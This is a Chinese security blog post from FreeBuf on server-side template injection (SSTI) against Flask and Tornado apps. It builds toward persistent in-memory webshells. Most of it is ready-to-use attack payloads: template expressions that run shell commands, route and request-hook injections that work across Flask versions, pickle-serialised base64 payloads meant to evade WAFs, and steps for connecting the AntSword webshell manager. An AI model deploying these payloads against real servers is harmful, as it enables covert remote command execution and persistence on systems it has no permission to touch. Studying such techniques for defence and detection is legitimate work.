freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Flask和Tornado的SSTI内存马注入技术研究
2025-01-18 11:31:49
所属地 江西省

通过对Python SSTI的技术研究,发现网上的一些Payload具有局限性,无法直接使用,踩了一些坑,完成了Flask和Tornado的内存马注入,可进行编码绕过WAF,并且可用中国蚁剑进行图形化管理。

0x00 起因

有个用户单位反馈,HW期间被攻击队打了个RCE,并且提供了攻击队的报告和防火墙的流量。正好临近年关,闲来无事,想到已经很久没有认真钻研技术了,遂开始进行研究。
image
经过分析,这似乎是SSTI的注入手法
通过对base64解码,发现注入了tornado的内存马

0x01 对Flask SSTI的研究

之前对SSTI不甚熟悉,正好借此机会,对SSTI进行研究,经过查找相关资料,发现最广泛的是Flask SSTI,于是先从这里入手
环境搭建:https://github.com/vulhub/vulhub/blob/master/flask/ssti/
或者可以直接使用在线的靶场,https://buuoj.cn/challenges#[Flask]SSTI
引起Flask SSTI的简单代码如下:

from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

通过以下payload可以判断存在SSTI
image
于是可以尝试使用python中的魔术方法:

__class__         当前类
__mro__           所有父类
__subclasses__()  所有子类
__globals__       全局变量
__builtins__      Python的所有“内置”标识符的直接访问
__import__        导入模块

有了以上基础后,我们可以找到一个RCE的Payload

{{ ''.__class__.__mro__[-1].__subclasses__()[67].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}

image
至此,已经完成了RCE

0x02 对Python Flask 注入简单内存马的研究

根据内存马的原理,其实就是增加一条路由,在这条路由中增加一些代码操作
恰好存在这样一个方法,app.add_url_rule()
这里我使用的环境是
flask==1.1.1,jinja2==2.10.3
网上的Payload:

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
    )",
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    }
)

sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())

经过测试,这其中的url_for,sys,app,request等变量,并不能直接使用,会报错 该变量未定义
经过不懈的努力,终于发现了在flask.globals中存在上下文变量
image
由此,我们显然可以得到一个Payload

{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['__import__']('flask').globals.current_app.add_url_rule('/abking123','shell',lambda :__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read()) }}

简直完美啊,通过__builtins__访问内置的__import__来导入flask,通过flask.globals访问current_app,这样就可以调用add_url_rule()了
那么结果怎么样呢?
image
emmmmmmm,这个报错也太神奇了吧,语法错误???
经过一个字符一个字符查看,不可能出现语法错误的,搜了半天,都没结果
在StackOverflow上面勉强得到的类似的结论:逻辑比较复杂,不要在jinja2的模板中使用复杂的逻辑,比如lambda匿名函数
只能稍微修改一下Payload了

{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('flask').globals.current_app.add_url_rule('/abking123','abking123',lambda :__import__('os').popen(__import__('flask').globals.request.args.get('abking')).read())") }}

接着访问/abking123?abking=whoami
image
至此,flask的内存马就注入完毕,并且可以正常使用了

但是!在最新版的flask中,我们会发现存在问题:
image
flask最新版本做了限制,在setupmethod装饰器中增加了校验函数,这样一来就会导致在任何请求中,都无法再调用到使用了setupmethod装饰器的函数。
有什么办法解决吗?
当然有!
类似java中filter的概念,flask在每个请求前都有一个before_request,在每个请求后都有一个after_request
具体使用的时候就是在before_request请求列表或after_request中append一个新的函数
这里给出的一个使用了before_request的通杀新老版本的Payload:

{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get(\'abking\')).read())\")==None else None)") }}

同样地,还有使用after_request的通杀新老版本的Payload:

{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get(\'abking\')).read())\")==None else resp)") }}

0x03 加密传输

恰好这次攻击队的报告给了我灵感,使用pickle.loads()进行反序列化,可以完成加密传输
pickle中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在__reduce__魔法函数内植入恶意代码的方式进行任意命令执行。

以下是一个代码示例:

import pickle
import base64

code = """
def f():
    return __import__('os').popen('whoami').read()
f()
"""


class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
pickle.loads(base64.b64decode(base64_class))

执行结果如下:
image

此时,将控制台输出的base64编码后的字符串放入到SSTI的Payload中
可以得到

{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhBAAAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgpCmYoKQpxAYVxAlJxAy4='))") }}

这样可以起到编码绕过WAF的作用,并且代码逻辑还可以更复杂一点,全部放入base64编码的字符串中,那么接下来只要寻找到蚁剑/冰蝎/哥斯拉的python格式的webshell就可以了。
但是,经过我的广泛搜索,竟然找不到python的webshell,唯一的蚁剑的自带的python格式的webshell也仅适用于python2,自己写一个吧,太麻烦了,这是下下策。

0x04 峰回路转完成蚁剑连接

经过我的不懈努力,在蚁剑的官方微信公众号上面发现了一个功能( https://mp.weixin.qq.com/s/tPPg4VgQH-n2O3Lnfg8lVA )
image
竟然可以直连RCE漏洞,还没有语言的限制,这也太爽了吧
开始操作!
低版本flask支持add_url_rule()

import pickle
import base64

code = """
def f():
    return __import__('flask').globals.current_app.add_url_rule('/abking123', 'abking123', lambda: __import__('os').popen(__import__('flask').globals.request.form['abking']).read(), methods=['POST'])
f()
"""


class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

这里需要注意的是,一定要methods=['POST'],因为后续蚁剑连接的时候只支持POST方法

任意版本flask通杀1:

import pickle
import base64

code = """
def f():
    return __import__('flask').globals.current_app.before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else None)
f()
"""

class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

任意版本flask通杀2:

import pickle
import base64

code = """
def f():
    return __import__('flask').globals.current_app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else resp)
f()
"""
class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

注意:request.args修改成request.form的原因是蚁剑仅支持POST方法连接

将得到的base64编码后的字符串放入SSTI的Payload中,那么最终通杀低版本flask的加密Payload为

{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFjWAAAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmFkZF91cmxfcnVsZSgnL2Fia2luZzEyMycsICdhYmtpbmcxMjMnLCBsYW1iZGE6IF9faW1wb3J0X18oJ29zJykucG9wZW4oX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLnJlcXVlc3QuZm9ybVsnYWJraW5nJ10pLnJlYWQoKSwgbWV0aG9kcz1bJ1BPU1QnXSkKZigpCnEBhXECUnEDLg=='))") }}

使用app.before_request_funcs.setdefault()函数的通杀任意版本flask的加密Payload为

{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhpAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmJlZm9yZV9yZXF1ZXN0X2Z1bmNzLnNldGRlZmF1bHQoTm9uZSwgW10pLmFwcGVuZChsYW1iZGE6IENtZFJlc3AgaWYgX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLnJlcXVlc3QuZm9ybS5nZXQoJ2Fia2luZycpIGFuZCBleGVjKCJnbG9iYWwgQ21kUmVzcDtDbWRSZXNwPV9faW1wb3J0X18oJ2ZsYXNrJykubWFrZV9yZXNwb25zZShfX2ltcG9ydF9fKCdvcycpLnBvcGVuKF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSkucmVhZCgpKSIpPT1Ob25lIGVsc2UgTm9uZSkKZigpCnEBhXECUnEDLg=='))") }}

使用app.after_request_funcs.setdefault()函数的通杀任意版本flask的加密Payload为

{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhtAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmFmdGVyX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSByZXNwOiBDbWRSZXNwIGlmIF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSBhbmQgZXhlYygiZ2xvYmFsIENtZFJlc3A7Q21kUmVzcD1fX2ltcG9ydF9fKCdmbGFzaycpLm1ha2VfcmVzcG9uc2UoX19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdmbGFzaycpLmdsb2JhbHMucmVxdWVzdC5mb3JtLmdldCgnYWJraW5nJykpLnJlYWQoKSkiKT09Tm9uZSBlbHNlIHJlc3ApCmYoKQpxAYVxAlJxAy4='))") }}

其中,eval可以用exec互相代替。
执行结果如下:
image
启动蚁剑连接! http://127.0.0.1:5000/abking123 密码abking
注意:如果蚁剑报错405,原因就是蚁剑只支持POST方法连接,所以一定需要methods=['POST']
image
image
至此,完成任意版本flask的加密SSTI的蚁剑内存马注入!

0x05 Tornado内存马注入

完成flask的内存马注入后,我们可以很容易推广到Tornado的内存马注入
Tornado引起SSTI的代码示例如下:
注意:我使用的版本是tornado==5.1.1

import tornado.ioloop
import tornado.web


class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        tornado.web.RequestHandler._template_loaders = {}#清空模板引擎

        with open('index.html', 'w') as (f):
            f.write(self.get_argument('name'))
        self.render('index.html')


app = tornado.web.Application(
    [('/', IndexHandler)],
)
app.listen(5000, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()

image
使用以下Payload可以完成RCE

{{__import__('os').popen('whoami').read()}}
image
同样地,为了上线蚁剑,我们必须打入POST类型的内存马

注意:这里使用{{__import__('os').popen(handler.get_argument('abking')).read()}}是无法使用蚁剑上线的,原因就是POST的问题

在Tornado中,存在添加路由的函数add_handlers(),因此我们利用这一点得到以下Payload

{{handler.application.add_handlers(".*",[("/abking123",type("x",(__import__("tornado").web.RequestHandler,),{"post":lambda x: x.write(str(eval(x.get_argument("code"))))}))])}}

使用蚁剑连接,密码为cmd
http://127.0.0.1:5000/abking123?code=__import__('os').popen(x.get_argument('cmd')).read()
image
image

进一步缩写:

{{handler.application.add_handlers(".*",[("/abking123",type("x",(__import__("tornado").web.RequestHandler,),{"post":lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}))])}}

使用蚁剑连接,密码为abkinghttp://127.0.0.1:5000/abking123
image

同样地,Tornado也可以使用pickle来进行编码

import pickle
import base64

code = """
def f():
    return handler.application.add_handlers(".*",[("/abking123",type("x",(__import__("tornado").web.RequestHandler,),{"post":lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}))])
f()
"""
class Exp:
    def __reduce__(self):
        return __builtins__.exec, (code,)


base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)

得到的Payload为

{{''.__class__.__mro__[-1].__subclasses__()[67].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFjgAAAACmRlZiBmKCk6CiAgICByZXR1cm4gaGFuZGxlci5hcHBsaWNhdGlvbi5hZGRfaGFuZGxlcnMoIi4qIixbKCIvYWJraW5nMTIzIix0eXBlKCJ4IiwoX19pbXBvcnRfXygidG9ybmFkbyIpLndlYi5SZXF1ZXN0SGFuZGxlciwpLHsicG9zdCI6bGFtYmRhIHg6IHgud3JpdGUoc3RyKF9faW1wb3J0X18oJ29zJykucG9wZW4oeC5nZXRfYXJndW1lbnQoImFia2luZyIpKS5yZWFkKCkpKX0pKV0pCmYoKQpxAYVxAlJxAy4='))") }}
# 网络安全 # web安全 # python # SSTI # 内存马
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录